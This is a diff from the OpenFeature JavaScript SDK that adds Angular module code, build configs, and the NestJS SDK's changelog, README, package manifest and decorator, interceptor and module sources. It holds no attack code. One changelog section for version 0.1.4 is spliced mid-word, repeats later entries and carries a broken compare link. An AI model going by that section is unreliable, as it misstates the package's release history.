export const OPEN_FEATURE_CONFIG_TOKEN = new InjectionToken<OpenFeatureConfig>('OPEN_FEATURE_CONFIG_TOKEN');
@NgModule({
declarations: [],
imports: [CommonModule],
exports: [],
})
export class OpenFeatureModule {
static forRoot(config: OpenFeatureConfig): ModuleWithProviders<OpenFeatureModule> {
const context = typeof config.context === 'function' ? config.context() : config.context;
OpenFeature.setProvider(config.provider, context);
if (config.domainBoundProviders) {
Object.entries(config.domainBoundProviders).map(([domain, provider]) =>
OpenFeature.setProvider(domain, provider),
);
}
return {
ngModule: OpenFeatureModule,
providers: [{ provide: OPEN_FEATURE_CONFIG_TOKEN, useValue: config }],
};
}
}

View File

@ -0,0 +1,9 @@
/*
* Public API Surface of angular
*/
export * from './lib/feature-flag.directive';
export * from './lib/open-feature.module';
// re-export the web-sdk so consumers can access that API from the angular-sdk
export * from '@openfeature/web-sdk';

View File

@ -0,0 +1,3 @@
import { provideZonelessChangeDetection } from '@angular/core';
export default [provideZonelessChangeDetection()];

View File

@ -0,0 +1,20 @@
import { InMemoryProvider } from '@openfeature/web-sdk';
export class TestingProvider extends InMemoryProvider {
constructor(
flagConfiguration: ConstructorParameters<typeof InMemoryProvider>[0],
private delay: number,
) {
super(flagConfiguration);
}
// artificially delay our init (delaying PROVIDER_READY event)
async initialize(): Promise<void> {
await new Promise((resolve) => setTimeout(resolve, this.delay));
}
// artificially delay context changes
async onContextChange(): Promise<void> {
await new Promise((resolve) => setTimeout(resolve, this.delay));
}
}

View File

@ -0,0 +1,19 @@
/* To learn more about this file see: https://angular.io/config/tsconfig. */
{
"extends": "../../tsconfig.json",
"compilerOptions": {
"outDir": "../../out-tsc/lib",
"declaration": true,
"declarationMap": true,
"inlineSources": true,
"types": [],
"paths": {
"angular": [
"./dist/angular"
],
}
},
"exclude": [
"**/*.spec.ts"
]
}

View File

@ -0,0 +1,15 @@
/* To learn more about this file see: https://angular.io/config/tsconfig. */
{
"extends": "./tsconfig.lib.json",
"compilerOptions": {
"declarationMap": false
},
"paths": {
"angular": [
"./dist/angular"
]
},
"angularCompilerOptions": {
"compilationMode": "partial"
}
}

View File

@ -0,0 +1,22 @@
{
"extends": "../../tsconfig.json",
"compilerOptions": {
"outDir": "./out-tsc/spec",
"types": [
"vitest/globals",
"node"
],
"paths": {
"angular": [
"./dist/angular"
]
},
"esModuleInterop": true,
"emitDecoratorMetadata": true
},
"include": [
"src/**/*.spec.ts",
"src/**/*.d.ts",
"src/test-provider.ts"
]
}

View File

@ -0,0 +1,42 @@
/* To learn more about this file see: https://angular.io/config/tsconfig. */
{
"compileOnSave": false,
"compilerOptions": {
"paths": {
"angular": [
"./dist/angular"
],
"@openfeature/core": [ "../shared/src" ],
"@openfeature/web-sdk": [ "../web/src" ]
},
"outDir": "./dist/out-tsc",
"forceConsistentCasingInFileNames": true,
"strict": true,
"noImplicitOverride": true,
"noPropertyAccessFromIndexSignature": true,
"noImplicitReturns": true,
"noFallthroughCasesInSwitch": true,
"skipLibCheck": true,
"esModuleInterop": true,
"sourceMap": true,
"declaration": false,
"experimentalDecorators": true,
"moduleResolution": "node",
"importHelpers": true,
"target": "ES2022",
"module": "ES2022",
"useDefineForClassFields": false,
"strictNullChecks": false,
"lib": [
"ES2022",
"dom"
],
},
"angularCompilerOptions": {
"disableTypeScriptVersionCheck": true,
"enableI18nLegacyMessageIdFormat": false,
"strictInjectionParameters": true,
"strictInputAccessModifiers": true,
"strictTemplates": true
}
}

View File

@ -0,0 +1,16 @@
{
"extends": "./tsconfig.json",
"compilerOptions": {
"outDir": "./out-tsc/spec",
"types": [
"vitest/globals",
"node"
],
"esModuleInterop": true,
"emitDecoratorMetadata": true
},
"include": [
"projects/angular-sdk/src/**/*.spec.ts",
"projects/angular-sdk/src/**/*.d.ts"
]
}

View File

@ -0,0 +1,10 @@
import { defineConfig } from 'vitest/config';
export default defineConfig({
test: {
coverage: {
provider: 'v8',
reporter: ['text', 'json', 'html'],
},
},
});

178
packages/nest/CHANGELOG.md Normal file
View File

@ -0,0 +1,178 @@
# Changelog
## [0.2.5](https://github.com/open-feature/js-sdk/compare/nestjs-sdk-v0.2.4...nestjs-sdk-v0.2.5) (2025-05-27)
### ✨ New Features
* adds RequireFlagsEnabled decorator ([#1159](https://github.com/open-feature/js-sdk/issues/1159)) ([59b8fe9](https://github.com/open-feature/js-sdk/commit/59b8fe904f053e4aa3d0c72631af34183ff54dc7))
## [0.2.4](https://github.com/open-feature/js-sdk/compare/nestjs-sdk-v0.2.3...nestjs-sdk-v0.2.4) (2025-04-20)
### 🧹 Chore
* **nest:** allow nestjs version 11 ([#1176](https://github.com/open-feature/js-sdk/issues/1176)) ([42a3b39](https://github.com/open-feature/js-sdk/commit/42a3b39c2488002f249b37ce86794ef2f77eb31c))
## [0.2.3](https://github.com/open-feature/js-sdk/compare/nestjs-sdk-v0.2.2...nestjs-sdk-v0.2.3) (2025-04-11)
### 🧹 Chore
* update sdk peer ([#1142](https://github.com/open-feature/js-sdk/issues/1142)) ([8bb6206](https://github.com/open-feature/js-sdk/commit/8bb620601e2b8dc7b62d717169b585bd1c886996))
### Dependencies
* The following workspace dependencies were updated
* devDependencies
* @openfeature/server-sdk bumped from * to 1.18.0
## [0.2.2](https://github.com/open-feature/js-sdk/compare/nestjs-sdk-v0.2.1-experimental...nestjs-sdk-v0.2.2) (2024-10-29)
### 🧹 Chore
* import type lint rule and fixes ([#1039](https://github.com/open-feature/js-sdk/issues/1039)) ([01fcb93](https://github.com/open-feature/js-sdk/commit/01fcb933d2cbd131a0f4a005173cdd1906087e18))
## [0.2.1-experimental](https://github.com/open-feature/js-sdk/compare/nestjs-sdk-v0.2.0-experimental...nestjs-sdk-v0.2.1-experimental) (2024-06-11)
### ✨ New Features
* lower compilation target to es2015 ([#957](https://github.com/open-feature/js-sdk/issues/957)) ([c2d6c17](https://github.com/open-feature/js-sdk/commit/c2d6c1761ae19f937deaff2f011a0380f8af7350))
## [0.2.0-experimental](https://github.com/open-feature/js-sdk/compare/nestjs-sdk-v0.1.5-experimental...nestjs-sdk-v0.2.0-experimental) (2024-05-19)
### ⚠ BREAKING CHANGES
* rename FeatureClient decorator to OpenFeatureClient ([#949](https://github.com/open-feature/js-sdk/issues/949))
### ✨ New Features
* rename FeatureClient decorator to OpenFeatureClient ([#949](https://github.com/open-feature/js-sdk/issues/949)) ([a531238](https://github.com/open-feature/js-sdk/commit/a531238124510e6aa150ff619972f8880346507b))
## [0.1.5-experimental](https://github.com/open-feature/js-sdk/compare/nestjs-sdk-v0.1.4-experimental...nestjs-sdk-v0.1.5-experimental) (2024-05-13)
### 🐛 Bug Fixes
* removes exports of OpenFeatureClient class and makes event props readonly ([#918](https://github.com/open-feature/js-sdk/issues/918)) ([e9a25c2](https://github.com/open-feature/js-sdk/commit/e9a25c21cb17c3b5700bca652e3c0ed15e8f49b4))
### 🧹 Chore
* remove node 16 ([#875](https://github.com/open-feature/js-sdk/issues/875)) ([c1878e4](https://github.com/open-feature/js-sdk/commit/c1878e4effac3c8c9aa8a34cee4214f628a1e4ca))
* **deps:** update dependency supertest to v7 ([#939](https://github.com/open-feature/js-sdk/issues/939)) ([9083df8](https://github.com/open-feature/js-sdk/commit/9083df8463d6f970111dedee114aedc0a20e2a3c))
## [0.1.4-experimental](https://github.com/open-feature/js-sdk/compare/nestjs-sdk-v0.1.3-experimental...nestjremove node 16 ([#875](https://github.com/open-feature/js-sdk/issues/875)) ([c1878e4](https://github.com/open-feature/js-sdk/commit/c1878e4effac3c8c9aa8a34cee4214f628a1e4ca))
### 🐛 Bug Fixes
* removes exports of OpenFeatureClient class and makes event props readonly ([#918](https://github.com/open-feature/js-sdk/issues/918)) ([e9a25c2](https://github.com/open-feature/js-sdk/commit/e9a25c21cb17c3b5700bca652e3c0ed15e8f49b4))
### 🧹 Chore
* **deps:** update dependency supertest to v7 ([#939](https://github.com/open-feature/js-sdk/issues/939)) ([9083df8](https://github.com/open-feature/js-sdk/commit/9083df8463d6f970111dedee114aedc0a20e2a3c))
## [0.1.4-experimental](https://github.com/open-feature/js-sdk/compare/s-sdk-v0.1.4-experimental) (2024-04-18)
### 🧹 Chore
* bump spec version badge to v0.8.0 ([#910](https://github.com/open-feature/js-sdk/issues/910)) ([a7b2c4b](https://github.com/open-feature/js-sdk/commit/a7b2c4bca09112d49e637735466502adb1438ebe))
## [0.1.3-experimental](https://github.com/open-feature/js-sdk/compare/nestjs-sdk-v0.1.2-experimental...nestjs-sdk-v0.1.3-experimental) (2024-04-02)
### 🐛 Bug Fixes
* **deps:** resolve CVE-2024-29041 with nest update ([#889](https://github.com/open-feature/js-sdk/issues/889)) ([042ec5f](https://github.com/open-feature/js-sdk/commit/042ec5f70863ecc974371481be24f08c65321f7c))
### 📚 Documentation
* remove duplicate npm install section ([fd0fcfc](https://github.com/open-feature/js-sdk/commit/fd0fcfcfc815803a967e971b7e575c24e46c93bc))
## [0.1.2-experimental](https://github.com/open-feature/js-sdk/compare/nestjs-sdk-v0.1.1-experimental...nestjs-sdk-v0.1.2-experimental) (2024-03-06)
### 🐛 Bug Fixes
* **types:** conflicts with peer types ([#852](https://github.com/open-feature/js-sdk/issues/852)) ([fdc8576](https://github.com/open-feature/js-sdk/commit/fdc8576f472253604e26c36e10c0d315f71dbe1c))
## [0.1.1-experimental](https://github.com/open-feature/js-sdk/compare/nestjs-sdk-v0.1.0-experimental...nestjs-sdk-v0.1.1-experimental) (2024-03-05)
### ✨ New Features
* context propagation ([#837](https://github.com/open-feature/js-sdk/issues/837)) ([b1abef1](https://github.com/open-feature/js-sdk/commit/b1abef1a2bc2bf27de48a09b44167a2644b62943))
* maintain state in SDK, add RECONCILING ([#795](https://github.com/open-feature/js-sdk/issues/795)) ([cfb0a69](https://github.com/open-feature/js-sdk/commit/cfb0a69c42bd06bf59a7b8761fd90739872a8aeb))
## [0.1.0-experimental](https://github.com/open-feature/js-sdk/compare/nestjs-sdk-v0.0.5-experimental...nestjs-sdk-v0.1.0-experimental) (2024-02-25)
### ⚠ BREAKING CHANGES
* **nestjs:** add domains ([#831](https://github.com/open-feature/js-sdk/issues/831))
### ✨ New Features
* **nestjs:** add domains ([#831](https://github.com/open-feature/js-sdk/issues/831)) ([840d7ac](https://github.com/open-feature/js-sdk/commit/840d7acaa3725bade9e8458ad9ced8e20fae1a5e))
### 🧹 Chore
* **deps:** update dependency @types/supertest to v6 ([#782](https://github.com/open-feature/js-sdk/issues/782)) ([53479d1](https://github.com/open-feature/js-sdk/commit/53479d1edd3aad40f3d3fc3662cef6a317f78bbe))
## [0.0.5-experimental](https://github.com/open-feature/js-sdk/compare/nestjs-sdk-v0.0.4-experimental...nestjs-sdk-v0.0.5-experimental) (2024-01-31)
### ✨ New Features
* adds ErrorOptions to Error constructor ([#765](https://github.com/open-feature/js-sdk/issues/765)) ([2f59a9f](https://github.com/open-feature/js-sdk/commit/2f59a9f5a81135d81d3c6cd7a14863dc21b012b4))
### 🐛 Bug Fixes
* **nest:** add peer deps for nestjs-core and rxjs 9 ([#784](https://github.com/open-feature/js-sdk/issues/784)) ([a452bdd](https://github.com/open-feature/js-sdk/commit/a452bdd4a86884417099a8c8ee7d77c53b16eaa7))
* removed duped core types ([#800](https://github.com/open-feature/js-sdk/issues/800)) ([7cc1e09](https://github.com/open-feature/js-sdk/commit/7cc1e09a1118d0c541aeb5e43da74eb3983950a3))
### 📚 Documentation
* Nest SDK ([#750](https://github.com/open-feature/js-sdk/issues/750)) ([a21634d](https://github.com/open-feature/js-sdk/commit/a21634dce97100ab8a79710dc03d35fa99491032))
* update nestjs readme examples ([#787](https://github.com/open-feature/js-sdk/issues/787)) ([c6a357a](https://github.com/open-feature/js-sdk/commit/c6a357aa5ced91a464a861b4c5a2de0aadeb4e66))
## [0.0.4-experimental](https://github.com/open-feature/js-sdk/compare/nestjs-sdk-v0.0.3-experimental...nestjs-sdk-v0.0.4-experimental) (2024-01-18)
### ✨ New Features
* add logger, event handlers and hooks to nest sdk ([#761](https://github.com/open-feature/js-sdk/issues/761)) ([80a9ba1](https://github.com/open-feature/js-sdk/commit/80a9ba1e5120f1adaadb7b98f5f88b9f03b02682))
## [0.0.3-experimental](https://github.com/open-feature/js-sdk/compare/nestjs-sdk-v0.0.2-experimental...nestjs-sdk-v0.0.3-experimental) (2024-01-08)
### ✨ New Features
* context propagation for nestjs ([#736](https://github.com/open-feature/js-sdk/issues/736)) ([1fa53c9](https://github.com/open-feature/js-sdk/commit/1fa53c9058904664b95ecf96178e414f1d70b845))
## [0.0.2-experimental](https://github.com/open-feature/js-sdk/compare/nestjs-sdk-v0.0.1-experimental...nestjs-sdk-v0.0.2-experimental) (2023-12-13)
### ✨ New Features
* implement draft for a Nest.js SDK ([#718](https://github.com/open-feature/js-sdk/issues/718)) ([ef874e0](https://github.com/open-feature/js-sdk/commit/ef874e0365bdd96a7baf0447103554ff6176f28e))
### Dependencies
* The following workspace dependencies were updated
* devDependencies
* @openfeature/core bumped from * to 0.0.21
* @openfeature/server-sdk bumped from * to 1.8.0

179
packages/nest/README.md Normal file
View File

@ -0,0 +1,179 @@
<!-- markdownlint-disable MD033 -->
<!-- x-hide-in-docs-start -->
<p align="center">
<picture>
<source media="(prefers-color-scheme: dark)" srcset="https://raw.githubusercontent.com/open-feature/community/0e23508c163a6a1ac8c0ced3e4bd78faafe627c7/assets/logo/horizontal/white/openfeature-horizontal-white.svg" />
<img align="center" alt="OpenFeature Logo" src="https://raw.githubusercontent.com/open-feature/community/0e23508c163a6a1ac8c0ced3e4bd78faafe627c7/assets/logo/horizontal/black/openfeature-horizontal-black.svg" />
</picture>
</p>
<h2 align="center">OpenFeature NestJS SDK</h2>
<!-- x-hide-in-docs-end -->
<!-- The 'github-badges' class is used in the docs -->
<p align="center" class="github-badges">
<a href="https://github.com/open-feature/spec/releases/tag/v0.8.0">
<img alt="Specification" src="https://img.shields.io/static/v1?label=specification&message=v0.8.0&color=yellow&style=for-the-badge" />
</a>
<!-- x-release-please-start-version -->
<a href="https://github.com/open-feature/js-sdk/releases/tag/nestjs-sdk-v0.2.5">
<img alt="Release" src="https://img.shields.io/static/v1?label=release&message=v0.2.5&color=blue&style=for-the-badge" />
</a>
<!-- x-release-please-end -->
<br/>
<a href="https://codecov.io/gh/open-feature/js-sdk">
<img alt="codecov" src="https://codecov.io/gh/open-feature/js-sdk/branch/main/graph/badge.svg?token=3DC5XOEHMY" />
</a>
<a href="https://www.npmjs.com/package/@openfeature/nestjs-sdk">
<img alt="NPM Download" src="https://img.shields.io/npm/dm/%40openfeature%2Fnestjs-sdk" />
</a>
</p>
<!-- x-hide-in-docs-start -->
[OpenFeature](https://openfeature.dev) is an open specification that provides a vendor-agnostic, community-driven API for feature flagging that works with your favorite feature flag management tool or in-house solution.
<!-- x-hide-in-docs-end -->
## Overview
The OpenFeature NestJS SDK is a package that provides a NestJS wrapper for the [OpenFeature Server SDK](https://openfeature.dev/docs/reference/technologies/server/javascript/).
Capabilities include:
- Providing a NestJS global module to simplify OpenFeature configuration and usage within NestJS
- Setting up logging, event handling, hooks and providers directly when registering the module
- Injecting feature flags directly into controller route handlers by using decorators
- Injecting transaction evaluation context for flag evaluations directly from [execution context](https://docs.nestjs.com/fundamentals/execution-context) (HTTP header values, client IPs, etc.)
- Injecting OpenFeature clients into NestJS services and controllers by using decorators
## 🚀 Quick start
### Requirements
- Node.js version 20+
- NestJS version 8+
### Install
#### npm
```sh
npm install --save @openfeature/nestjs-sdk
```
#### yarn
```sh
# yarn requires manual installation of the peer dependencies (see below)
yarn add @openfeature/nestjs-sdk @openfeature/server-sdk @openfeature/core
```
#### Required peer dependencies
The following list contains the peer dependencies of `@openfeature/nestjs-sdk` with its expected and compatible versions:
- `@openfeature/server-sdk`: >=1.7.5
- `@nestjs/common`: ^8.0.0 || ^9.0.0 || ^10.0.0 || ^11.0.0
- `@nestjs/core`: ^8.0.0 || ^9.0.0 || ^10.0.0 || ^11.0.0
- `rxjs`: ^6.0.0 || ^7.0.0 || ^8.0.0
The minimum required version of `@openfeature/server-sdk` currently is `1.7.5`.
### Usage
The example below shows how to use the `OpenFeatureModule` with OpenFeature's `InMemoryProvider`.
```ts
import { Module } from '@nestjs/common';
import { OpenFeatureModule, InMemoryProvider } from '@openfeature/nestjs-sdk';
@Module({
imports: [
OpenFeatureModule.forRoot({
defaultProvider: new InMemoryProvider({
testBooleanFlag: {
defaultVariant: 'default',
variants: { default: true },
disabled: false,
},
}),
providers: {
differentProvider: new InMemoryProvider(),
},
}),
],
})
export class AppModule {}
```
With the `OpenFeatureModule` configured, it's possible to inject flag evaluation details into route handlers like in the following code snippet.
```ts
import { Controller, ExecutionContext, Get } from '@nestjs/common';
import { map, Observable } from 'rxjs';
import { BooleanFeatureFlag, EvaluationDetails } from '@openfeature/nestjs-sdk';
import { Request } from 'express';
@Controller()
export class OpenFeatureController {
@Get('/welcome')
public async welcome(
@BooleanFeatureFlag({
flagKey: 'testBooleanFlag',
defaultValue: false,
})
feature: Observable<EvaluationDetails<boolean>>,
) {
return feature.pipe(
map((details) =>
details.value ? 'Welcome to this OpenFeature-enabled NestJS app!' : 'Welcome to this NestJS app!',
),
);
}
}
```
It is also possible to inject the default or domain scoped OpenFeature clients into a service via Nest dependency injection system.
```ts
import { Injectable } from '@nestjs/common';
import { OpenFeatureClient, Client } from '@openfeature/nestjs-sdk';
@Injectable()
export class OpenFeatureTestService {
constructor(
@OpenFeatureClient() private defaultClient: Client,
@OpenFeatureClient({ domain: 'my-domain' }) private scopedClient: Client,
) {}
public async getBoolean() {
return await this.defaultClient.getBooleanValue('testBooleanFlag', false);
}
}
```
#### Managing Controller or Route Access via Feature Flags
The `RequireFlagsEnabled` decorator can be used to manage access to a controller or route based on the enabled state of a feature flag. The decorator will throw an exception if the required feature flag(s) are not enabled.
```ts
import { Controller, Get } from '@nestjs/common';
import { RequireFlagsEnabled } from '@openfeature/nestjs-sdk';
@Controller()
export class OpenFeatureController {
@RequireFlagsEnabled({ flags: [{ flagKey: 'testBooleanFlag' }] })
@Get('/welcome')
public async welcome() {
return 'Welcome to this OpenFeature-enabled NestJS app!';
}
}
```
## Module additional information
### Flag evaluation context injection
Whenever a flag evaluation occurs, context can be provided with information like user e-mail, role, targeting key, etc. in order to trigger specific evaluation rules or logic. The `OpenFeatureModule` provides a way to configure context for each request using the `contextFactory` option.
The `contextFactory` is run in a NestJS interceptor scope to configure the evaluation context, and then it is used in every flag evaluation related to this request.
By default, the interceptor is configured globally, but it can be changed by setting the `useGlobalInterceptor` to `false`. In this case, it is still possible to configure a `contextFactory` that can be injected into route, module or controller bound interceptors.

View File

@ -0,0 +1,64 @@
{
"name": "@openfeature/nestjs-sdk",
"version": "0.2.5",
"description": "OpenFeature Nest.js SDK",
"main": "./dist/cjs/index.js",
"files": [
"dist/"
],
"exports": {
"types": "./dist/types.d.ts",
"import": "./dist/esm/index.js",
"require": "./dist/cjs/index.js",
"default": "./dist/cjs/index.js"
},
"types": "./dist/types.d.ts",
"scripts": {
"test": "jest --verbose",
"lint": "eslint ./",
"lint:fix": "eslint ./ --fix",
"clean": "shx rm -rf ./dist",
"build:esm": "esbuild src/index.ts --bundle --external:@nestjs/* --external:@openfeature/server-sdk --sourcemap --target=es2015 --platform=node --format=esm --outfile=./dist/esm/index.js --analyze",
"build:cjs": "esbuild src/index.ts --bundle --external:@nestjs/* --external:@openfeature/server-sdk --sourcemap --target=es2015 --platform=node --format=cjs --outfile=./dist/cjs/index.js --analyze",
"build:rollup-types": "rollup -c ../../rollup.config.mjs",
"build": "npm run clean && npm run build:esm && npm run build:cjs && npm run build:rollup-types",
"postbuild": "shx cp ./../../package.esm.json ./dist/esm/package.json",
"current-version": "echo $npm_package_version",
"prepack": "shx cp ./../../LICENSE ./LICENSE",
"publish-if-not-exists": "cp $NPM_CONFIG_USERCONFIG .npmrc && if [ \"$(npm show $npm_package_name@$npm_package_version version)\" = \"$(npm run current-version -s)\" ]; then echo 'already published, skipping'; else npm publish --access public; fi"
},
"repository": {
"type": "git",
"url": "git+https://github.com/open-feature/js-sdk.git"
},
"keywords": [
"openfeature",
"feature",
"flags",
"toggles",
"server",
"nest"
],
"author": "",
"license": "Apache-2.0",
"bugs": {
"url": "https://github.com/open-feature/js-sdk/issues"
},
"homepage": "https://github.com/open-feature/js-sdk#readme",
"peerDependencies": {
"@nestjs/common": "^8.0.0 || ^9.0.0 || ^10.0.0 || ^11.0.0",
"@nestjs/core": "^8.0.0 || ^9.0.0 || ^10.0.0 || ^11.0.0",
"rxjs": "^6.0.0 || ^7.0.0 || 8.0.0",
"@openfeature/server-sdk": "^1.17.1"
},
"devDependencies": {
"@nestjs/common": "^11.0.20",
"@nestjs/core": "^11.0.20",
"@nestjs/platform-express": "^11.0.20",
"@nestjs/testing": "^11.0.20",
"@openfeature/core": "*",
"@openfeature/server-sdk": "1.18.0",
"@types/supertest": "^6.0.0",
"supertest": "^7.0.0"
}
}

View File

@ -0,0 +1,36 @@
import type { EvaluationContext } from '@openfeature/core';
import type { ExecutionContext} from '@nestjs/common';
import { Inject } from '@nestjs/common';
/**
* A factory function for creating an OpenFeature {@link EvaluationContext} from Nest {@link ExecutionContext}.
* This can be used e.g. to get header info from an HTTP request or information from a gRPC call.
*
* Example getting an HTTP header value:
* ```typescript
* async function(context: ExecutionContext) {
* const request = await context.switchToHttp().getRequest();
*
* const userId = request.header('x-user-id');
*
* if (userId) {
* return {
* targetingKey: userId,
* };
* }
*
* return undefined;
* }
* ```
* @param {ExecutionContext} request The {@link ExecutionContext} to get the information from.
* @returns {(Promise<EvaluationContext | undefined> | EvaluationContext | undefined)} The {@link EvaluationContext} new.
*/
export type ContextFactory = (
request: ExecutionContext,
) => Promise<EvaluationContext | undefined> | EvaluationContext | undefined;
/**
* InjectionToken for a {@link ContextFactory}.
* @see {@link Inject}
*/
export const ContextFactoryToken = Symbol('CONTEXT_FACTORY');

View File

@ -0,0 +1,49 @@
import type { CallHandler, ExecutionContext, NestInterceptor } from '@nestjs/common';
import { Inject, Injectable } from '@nestjs/common';
import type { ContextFactory} from './context-factory';
import { ContextFactoryToken } from './context-factory';
import { Observable } from 'rxjs';
import { OpenFeature } from '@openfeature/server-sdk';
import { OpenFeatureModule } from './open-feature.module';
/**
* NestJS interceptor used in {@link OpenFeatureModule}
* to configure flag evaluation context.
*
* This interceptor is configured globally by default.
* If `useGlobalInterceptor` is set to `false` in {@link OpenFeatureModule} it needs to be configured for the specific controllers or routes.
*
* If just the interceptor class is passed to the `UseInterceptors` like below, the `contextFactory` provided in the {@link OpenFeatureModule} will be injected and used in order to create the context.
* ```ts
* //route interceptor
* @UseInterceptors(EvaluationContextInterceptor)
* @Get('/user-info')
* getUserInfo(){}
* ```
*
* A different `contextFactory` can also be provided, but the interceptor instance has to be instantiated like in the following example.
* ```ts
* //route interceptor
* @UseInterceptors(new EvaluationContextInterceptor(<context factory>))
* @Get('/user-info')
* getUserInfo(){}
* ```
*/
@Injectable()
export class EvaluationContextInterceptor implements NestInterceptor {
constructor(@Inject(ContextFactoryToken) private contextFactory?: ContextFactory) {}
async intercept(executionContext: ExecutionContext, next: CallHandler) {
const context = await this.contextFactory?.(executionContext);
return new Observable((subscriber) => {
OpenFeature.setTransactionContext(context ?? {}, async () => {
next.handle().subscribe({
next: (res) => subscriber.next(res),
error: (err) => subscriber.error(err),
complete: () => subscriber.complete(),
});
});
});
}
}

View File

@ -0,0 +1,147 @@
import { createParamDecorator, Inject } from '@nestjs/common';
import type { EvaluationContext, EvaluationDetails, FlagValue, JsonValue } from '@openfeature/server-sdk';
import { Client } from '@openfeature/server-sdk';
import { getOpenFeatureClientToken } from './open-feature.module';
import type { Observable } from 'rxjs';
import { from } from 'rxjs';
import { getClientForEvaluation } from './utils';
/**
* Options for injecting an OpenFeature client into a constructor.
*/
interface FeatureClientProps {
/**
* The domain of the OpenFeature client, if a domain scoped client should be used.
* @see {@link Client.getBooleanDetails}
*/
domain?: string;
}
/**
* Injects a feature client into a constructor or property of a class.
* @param {FeatureClientProps} [props] The options for injecting the client.
* @returns {PropertyDecorator & ParameterDecorator} The decorator function.
*/
export const OpenFeatureClient = (props?: FeatureClientProps) => Inject(getOpenFeatureClientToken(props?.domain));
/**
* Options for injecting a feature flag into a route handler.
*/
interface FeatureProps<T extends FlagValue> {
/**
* The domain of the OpenFeature client, if a domain scoped client should be used.
* @see {@link OpenFeature#getClient}
*/
domain?: string;
/**
* The key of the feature flag.
* @see {@link Client#getBooleanDetails}
*/
flagKey: string;
/**
* The default value for the feature flag.
* @see {@link Client#getBooleanDetails}
*/
defaultValue: T;
/**
* The {@link EvaluationContext} for evaluating the feature flag.
* @see {@link OpenFeature#getClient}
*/
context?: EvaluationContext;
}
/**
* Route handler parameter decorator.
*
* Gets the {@link EvaluationDetails} for given feature flag from a domain scoped or the default OpenFeature
* client and populates the annotated parameter with the {@link EvaluationDetails} wrapped in an {@link Observable}.
*
* For example:
* ```typescript
* @Get('/')
* public async handleBooleanRequest(
* @BooleanFeatureFlag({ flagKey: 'flagName', defaultValue: false })
* feature: Observable<EvaluationDetails<boolean>>,
* )
* ```
* @param {FeatureProps<boolean>} options The options for injecting the feature flag.
* @returns {ParameterDecorator}
*/
export const BooleanFeatureFlag = createParamDecorator(
({ domain, flagKey, defaultValue, context }: FeatureProps<boolean>): Observable<EvaluationDetails<boolean>> => {
const client = getClientForEvaluation(domain, context);
return from(client.getBooleanDetails(flagKey, defaultValue));
},
);
/**
* Route handler parameter decorator.
*
* Gets the {@link EvaluationDetails} for given feature flag from a domain scoped or the default OpenFeature
* client and populates the annotated parameter with the {@link EvaluationDetails} wrapped in an {@link Observable}.
*
* For example:
* ```typescript
* @Get('/')
* public async handleStringRequest(
* @StringFeatureFlag({ flagKey: 'flagName', defaultValue: "default" })
* feature: Observable<EvaluationDetails<string>>,
* )
* ```
* @param {FeatureProps<string>} options The options for injecting the feature flag.
* @returns {ParameterDecorator}
*/
export const StringFeatureFlag = createParamDecorator(
({ domain, flagKey, defaultValue, context }: FeatureProps<string>): Observable<EvaluationDetails<string>> => {
const client = getClientForEvaluation(domain, context);
return from(client.getStringDetails(flagKey, defaultValue));
},
);
/**
* Route handler parameter decorator.
*
* Gets the {@link EvaluationDetails} for given feature flag from a domain scoped or the default OpenFeature
* client and populates the annotated parameter with the {@link EvaluationDetails} wrapped in an {@link Observable}.
*
* For example:
* ```typescript
* @Get('/')
* public async handleNumberRequest(
* @NumberFeatureFlag({ flagKey: 'flagName', defaultValue: 0 })
* feature: Observable<EvaluationDetails<number>>,
* )
* ```
* @param {FeatureProps<number>} options The options for injecting the feature flag.
* @returns {ParameterDecorator}
*/
export const NumberFeatureFlag = createParamDecorator(
({ domain, flagKey, defaultValue, context }: FeatureProps<number>): Observable<EvaluationDetails<number>> => {
const client = getClientForEvaluation(domain, context);
return from(client.getNumberDetails(flagKey, defaultValue));
},
);
/**
* Route handler parameter decorator.
*
* Gets the {@link EvaluationDetails} for given feature flag from a domain scoped or the default OpenFeature
* client and populates the annotated parameter with the {@link EvaluationDetails} wrapped in an {@link Observable}.
*
* For example:
* ```typescript
* @Get('/')
* public async handleObjectRequest(
* @ObjectFeatureFlag({ flagKey: 'flagName', defaultValue: {} })
* feature: Observable<EvaluationDetails<JsonValue>>,
* )
* ```
* @param {FeatureProps<JsonValue>} options The options for injecting the feature flag.
* @returns {ParameterDecorator}
*/
export const ObjectFeatureFlag = createParamDecorator(
({ domain, flagKey, defaultValue, context }: FeatureProps<JsonValue>): Observable<EvaluationDetails<JsonValue>> => {
const client = getClientForEvaluation(domain, context);
return from(client.getObjectDetails(flagKey, defaultValue));
},
);

View File

@ -0,0 +1,7 @@
export * from './open-feature.module';
export * from './feature.decorator';
export * from './evaluation-context-interceptor';
export * from './context-factory';
export * from './require-flags-enabled.decorator';
// re-export the server-sdk so consumers can access that API from the nestjs-sdk
export * from '@openfeature/server-sdk';

View File

@ -0,0 +1,161 @@
import type {
DynamicModule,
FactoryProvider as NestFactoryProvider,
ValueProvider,
ClassProvider,
Provider as NestProvider} from '@nestjs/common';
import {
Module,
ExecutionContext,
} from '@nestjs/common';
import type {
Client,
Hook,
Provider,
EvaluationContext,
ServerProviderEvents,
EventHandler,
Logger} from '@openfeature/server-sdk';
import {
OpenFeature,
AsyncLocalStorageTransactionContextPropagator,
} from '@openfeature/server-sdk';
import type { ContextFactory} from './context-factory';
import { ContextFactoryToken } from './context-factory';
import { APP_INTERCEPTOR } from '@nestjs/core';
import { EvaluationContextInterceptor } from './evaluation-context-interceptor';
import { ShutdownService } from './shutdown.service';
/**
* OpenFeatureModule is a NestJS wrapper for OpenFeature Server-SDK.
*/
@Module({})
export class OpenFeatureModule {
static forRoot({ useGlobalInterceptor = true, ...options }: OpenFeatureModuleOptions): DynamicModule {
OpenFeature.setTransactionContextPropagator(new AsyncLocalStorageTransactionContextPropagator());
if (options.logger) {
OpenFeature.setLogger(options.logger);
}
if (options.hooks) {
OpenFeature.addHooks(...options.hooks);
}
options.handlers?.forEach(([event, handler]) => {
OpenFeature.addHandler(event, handler);
});
const clientValueProviders: NestFactoryProvider<Client>[] = [
{
provide: getOpenFeatureClientToken(),
useFactory: () => OpenFeature.getClient(),
},
];
if (options?.defaultProvider) {
OpenFeature.setProvider(options.defaultProvider);
}
if (options?.providers) {
Object.entries(options.providers).forEach(([domain, provider]) => {
OpenFeature.setProvider(domain, provider);
clientValueProviders.push({
provide: getOpenFeatureClientToken(domain),
useFactory: () => OpenFeature.getClient(domain),
});
});
}
const nestProviders: NestProvider[] = [ShutdownService];
nestProviders.push(...clientValueProviders);
const contextFactoryProvider: ValueProvider = {
provide: ContextFactoryToken,
